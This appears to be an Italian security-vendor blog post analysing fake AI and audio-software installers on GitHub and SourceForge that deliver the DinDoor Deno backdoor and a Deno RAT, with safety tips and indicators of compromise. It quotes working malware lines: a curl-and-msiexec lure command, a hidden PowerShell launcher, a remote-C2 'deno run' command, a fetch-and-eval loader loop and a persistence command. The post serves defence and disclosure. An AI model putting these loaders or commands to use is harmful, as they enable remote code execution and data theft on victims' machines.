Software fasulli su GitHub e SourceForge diffondono il RAT Deno 

| 26 maggio 2026
Un lupo travestito da agnello

Durante le nostre attività di ricerca delle minacce, abbiamo trovato falsi programmi di installazione e plugin che impersonavano software popolari tra cui ChatGPT, Claude, AutoTune e Kontakt su GitHub e SourceForge, distribuendo una backdoor di Deno nota come DinDoor . Gli aggressori stanno utilizzando compromissioni YouTube canali per distribuire i link a queste piattaforme. 

DinDoor rilascia infine diversi tipi di malware, tra cui un trojan di accesso remoto (RAT) invisibile, che utilizza anch'esso il runtime JavaScript Deno.  

Gli aggressori stanno abusando sempre più spesso di runtime JavaScript alternativi come Bun e Deno per eludere i metodi di rilevamento tradizionali. In una delle nostre recenti indagini abbiamo documentato come gli aggressori utilizzino Bun come vettore di infezione iniziale per distribuire NWHStealer. Inoltre, a marzo, i ricercatori ThreatDown hanno osservato aggressori utilizzare Deno per diffondere CastleLoader attraverso una catena di infezione a più fasi che coinvolge l'esca ClickFix.  

Queste campagne utilizzano Scoop (un programma di installazione alternativo per Windows ) e WinGet (l'ufficiale Windows gestore di pacchetti) per installare Deno sulla macchina della vittima. Quindi utilizzano il runtime di Deno per eseguire un RAT in grado di eseguire payload aggiuntivi, esfiltrando dati da browser, portafogli e altre applicazioni, che ha un'interessante funzionalità peer-to-peer che utilizza Edge per nascondere il traffico dannoso. 

Piattaforme legittime utilizzate in modo improprio per diffondere malware

La catena di infezione viene solitamente avviata tramite file MSI o script PowerShell scaricati da GitHub o SourceForge nella maggior parte dei casi analizzati. Gli utenti vengono solitamente reindirizzati a questi repository dannosi tramite compromissione YouTube canali. Questi video hanno attualmente totalizzato oltre 50.000 visualizzazioni. 

Compromesso YouTube canali con video generati dall'intelligenza artificiale 
Canali YouTube compromessi con video generati dall'intelligenza artificiale 

Il compromesso YouTube I canali creano post che promuovono diversi software e passano continuamente da un account GitHub all'altro per distribuire il malware. 

YouTube post che rimandano a repository GitHub dannosi
YouTube post che rimandano a repository GitHub dannosi

Il software contraffatto sembra essere stato progettato per colpire creatori di contenuti, appassionati di IA, giocatori e utenti con competenze tecniche, che sono più propensi a download strumenti download , software crackato o programmi di installazione distribuiti dalla comunità da siti come GitHub e SourceForge. Abbiamo osservato MSI e script falsi che si mascherano da programmi di installazione e plugin per software e marchi legittimi come ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune e Kontakt. 

Repository GitHub per il programma di installazione falso di ChatGPT
Repository GitHub per il falso programma di installazione di ChatGPT 

I repository dannosi hanno un comando per entrambi Windows e macOS. Questi repository chiedono agli utenti di aprire il terminale e copiare un comando dannoso, che scarica ed esegue il file MSI da GitHub. 

Plugin fasullo che chiede all'utente di copiare ed eseguire il comando dannoso 
Plugin fasullo che chiede all'utente di copiare ed eseguire il comando dannoso 

Alcuni account GitHub malintenzionati creano numerosi repository pieni di software e plugin fasulli legati a programmi famosi per attirare un maggior numero di utenti. 

Account GitHub contenente diversi repository dannosi
Account GitHub contenente diversi repository dannosi

Abbiamo scoperto che la stessa backdoor è stata diffusa tramite SourceForge, mascherandosi da un gioco legittimo chiamato GearUP e da un software per la rimozione delle filigrane basato sull'intelligenza artificiale chiamato BWR. 

I file MSI dannosi ospitati su SourceForge

Come stare al sicuro  

Gli autori dell'attacco hanno fatto ampio ricorso alla fiducia degli utenti. GitHub e SourceForge sono piattaforme legittime, il che rende i progetti fasulli ancora più convincenti. Abbiamo contattato GitHub, che ha prontamente rimosso i repository dannosi, ma gli utenti devono aspettarsi che ne compaiano di nuovi.

Ecco alcuni semplici consigli per stare al sicuro:  

  • download solo dai siti web ufficiali dei produttori.  
  • Diffidate delle versioni "gratuite", crackate o non ufficiali dei software a pagamento. 
  • Presta attenzione ai download da GitHub, SourceForge, forum o siti di condivisione file, soprattutto se provengono da account nuovi o sconosciuti. 
  • Gli hacker continuano a creare nuovi profili per diffondere questo malware su diverse piattaforme.  Prima di scaricare qualsiasi cosa, controlla il profilo dello sviluppatore o dell'editore, la sua reputazione e da quanto tempo è stato creato. 
  • Verifica che il contenuto dell'archivio, le immagini e i file di testo corrispondano a ciò che ti aspettavi di download. I nomi e la struttura degli archivi seguono spesso schemi malevoli facilmente riconoscibili.  
  • Prima di eseguire il file, verifica l'editore e la firma digitale. Windows Di solito è possibile verificarlo facendo clic con il pulsante destro del mouse sul file e selezionando Proprietà > Firme digitali . Tieni presente che una firma valida non garantisce la sicurezza di un file, ma le firme mancanti o sospette sono spesso un campanello d'allarme. 

Analisi tecnica 

I repository GitHub dannosi chiedono all'utente di aprire il prompt dei comandi ed eseguire un comando dannoso. I comandi dannosi download MSI da GitHub e lo installano tramite msiexec. Questi repository contengono talvolta anche script PowerShell che servono, analogamente, ad avviare la catena di infezione. 

Esempio di un comando dannoso ospitato su GitHub che avvia la catena di infezione: 

curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi 

Il file MSI salva un file CMD e uno script PowerShell in una directory casuale specificata nel file MSI InstallationFolder e valori del Registro di sistema. Abbiamo rilevato diverse strutture per questi MSI, con JavaScript al posto del file CMD o con file incorporati aggiuntivi.

I file “Ps1File” e “CmdFile” contenuti nel dropper MSI
I file “Ps1File” e “CmdFile” contenuti nel dropper MSI

Il file CMD esegue lo script PowerShell, il cui nome varia a seconda delle catene di infezione analizzate: 

@set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden" 

Lo script PowerShell eseguito
Lo script PowerShell eseguito

Lo script PowerShell si occupa di: 

  • Verificare che il gestore di pacchetti Scoop sia installato e, se non lo è, installarlo utilizzando lo script ufficiale disponibile all'indirizzo get.scoop.shScoop è un popolare programma open source per l'installazione di software da riga di comando e la gestione di pacchetti per Microsoft. Windows . 
  • Utilizzo di Scoop per installare WinGet ( Windows Gestore pacchetti) se mancante.  
  • Installa Deno (un runtime JavaScript/TypeScript) tramite WinGet o Scoop, se non è già presente.

L'utilizzo dei gestori di pacchetti Scoop e WinGet per installare software aggiuntivo sul computer compromesso rappresenta un approccio interessante che offre all'autore dell'attacco una maggiore flessibilità. 

Comando eseguito per installare Deno tramite WinGet: 

"C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent

La backdoor DinDoor 

Successivamente, viene eseguita la fase seguente utilizzando l'eseguibile Deno scaricato: 

"C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js

Il codice restituito (il cui nome interno è “launcher-1”) è una piccola funzione eval-loop che scarica la fase successiva (il cui nome interno è “launcher-2”). La backdoor scaricata è nota al grande pubblico comeDinDoor. 

var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))}

La backdoor garantisce la persistenza, invia informazioni sul sistema compromesso al server di comando e controllo (C2) ed esegue ulteriori payload e comandi restituiti dal C2. Gli endpoint HTTP utilizzati per le comunicazioni C2 variano a seconda dei casi analizzati.  

La backdoor ottiene un ID da un endpoint HTTP (ad esempio, /security-pool) e poi utilizza quell'ID per ottenere la fase successiva da /v2{ID}.js.   

La fase ottenuta viene eseguita tramite stdin senza che venga salvato su disco, utilizzando il comando: 

deno run -A --no-check –

Per garantire la persistenza, la backdoor esegue un comando PowerShell per creare una chiave RUN che avvia il downloader “launcher-1” utilizzato in precedenza: 

conhost.exe --headless "<deno.exe>" -A "%APPDATA%\<hash>.js

Nei casi analizzati, questa backdoor distribuisce diverse famiglie di malware. In questo blog analizziamo uno dei payload distribuiti: un RAT che utilizza il runtime JavaScript Deno. 

Deno RAT 

Il RAT distribuito, come gli altri script analizzati, utilizza l'ambiente JavaScript Deno e dispone di tutte le funzionalità necessarie per controllare il dispositivo, eseguire comandi e payload ed estrarre vari tipi di dati tramite il suo modulo di furto integrato.  

Non abbiamo trovato un nome specifico né alcuna attribuzione per questo RAT. In passato, il RAT è stato denominato “Smokest” in base a un valore specifico presente nel file di configurazione. Lo stile simile dei commenti e l’infrastruttura condivisa suggeriscono che lo sviluppatore di DinDoor e quello del RAT potrebbero essere la stessa persona o lo stesso team. 



Oltre al protocollo HTTP per la comunicazione C2, il RAT supporta anche WebSocket comunicazione, attivata quando il valore JSON isLiveEnabled il valore restituito dal C2 è impostato su true. 

La funzione principale del Deno RAT
La funzione principale del Deno RAT

Il RAT supporta diversi comandi (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) e funzionalità: 

  • Raccogliere informazioni di sistema sul dispositivo compromesso 
  • Controllo bidirezionale completo tramite un'implementazione VNC personalizzata su WebSocket 
  • Supporta oltre 50 estensioni per portafogli crittografici e 10 cartelle di software crittografici, tra cui Atomic Wallet, Exodus, Electrum e ByteCoin
  • Raccogli dati dai browser, inclusi Chrome , Cromo, Coraggioso, Edge , Browser Avast, Edge , Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser e Chromodo 
  • Estrarre i dati da Telegram, Discord e Lightcord 
  • Salvare e modificare i dati negli appunti  
  • Elencare cartelle e file ed estrarre i contenuti dai file con estensioni specifiche  
  • Cattura schermate utilizzando diversi metodi  
  • Eseguire payload aggiuntivi  
  • Avviare o terminare processi arbitrari  
  • Eseguire comandi con PowerShell  
  • Creare tunnel proxy SOCKS5 tramite WebSocket 

Una delle parti più interessanti del RAT è una modalità di streaming peer-to-peer che utilizza il Edge browser per nascondere il traffico e rendere più difficile il rilevamento.

Per trasmettere video in diretta direttamente all'operatore senza instradarlo attraverso il server C2, il RAT genera un Microsoft nascosto Edge processo e si collega ad esso tramite Chrome Protocollo DevTools (CDP). Quindi inietta una piccola pagina HTML WebRTC in Edge , trasformando il browser legittimo in un relay video peer-to-peer. L'agente Deno cattura e codifica H.264 dello schermo della vittima, passa i frame al Edge pagina su CDP e Edge li inoltra direttamente al browser dell'operatore tramite un DataChannel WebRTC crittografato. La segnalazione SDP e ICE, necessaria per stabilire la connessione diretta, viene scambiata tramite il WebSocket C2 esistente. 

La pagina HTML iniettata all'interno Edge browser
La pagina HTML iniettata all'interno del browser Edge 

Il RAT utilizza i seguenti endpoint per la comunicazione C2, che possono variare da un campione all'altro: 

  • /health: verifica la risposta "ok" proveniente dal C2 
  • /token: ricezione dei parametri di configurazione, invio delle attività, risultati e dati sottratti 
  • /vnc/agent/: Percorso WebSocket utilizzato per la comunicazione VNC 

I dati di configurazione sono codificati in Base64 e vengono inviati durante le comunicazioni con il C2 come token di autorizzazione. Dati di configurazione decodificati: 

{ 

  "buildId": "cd361ef3159f5ce9", 

  "buildNote": "BWR", 

  "buildType": "msi-v2", 

  "proxyUrls": ["{C2}"], 

  "userId": "…", 

  "accessTokenHash": "…", 

  "iat": 1779372546, 

  "exp": 2094948546 

}

Abbiamo individuato diverse versioni di questo RAT, tra cui una versione "light" denominata "agent-lite" che supporta solo pochi comandi e utilizza Cloudflare Workers per la comunicazione C2. 

La versione "light" del RAT
La versione "light" del RAT

 

Ringraziamenti 

Indicatori di compromesso (IOC) 

URL 

  • https[:]//github.com/claude-free-plugin/
  • https[:]//github.com/ai-gen-profi 
  • https[:]//github.com/wharfdemolisherpit 
  • https[:]//sourceforge.net/projects/gearup/ 
  • https[:]//sourceforge.net/projects/bluewaveremover/

Domini 

  • claudescript[.]top: sito web di distribuzione 
  • ms-telemetry-gateway-us[.]com: C2 
  • dakatawebstick[.]com: C2 
  • ashpaltlonpro[.]com: C2 
  • cf-proxy[.]cloud-analytics-services[.]workers.dev: C2 
  • agilemast3r[.]duckdns[.]org: C2 
  • geralnewlong[.]com: C2 
  • hngfbgfbfb[.]cyou: C2 
  • logicalnewrestore[.]com: C2

IP 

  • 23[.]227[.]196[.]107: C2 
  • 45[.]137[.]99[.]121: C2 
  • 31[.]57[.]129[.]23: C2 
  • 66[.]78[.]40[.]107: C2 
  • 193[.]233[.]198[.]132: C2

Dalla segnalazione delle minacce alla loro rimozione.

I rischi per la sicurezza informatica non dovrebbero mai andare oltre un titolo di giornale. Proteggi i tuoi dispositivi dalle minacce scaricando Malwarebytes oggi stesso .

Informazioni sull'autore

Gabriele è un ingegnere specializzato nella ricerca sul malware che ama combattere il malware. Quando non è impegnato in questo, lo si può trovare a godersi la natura, l'arte e gli animali.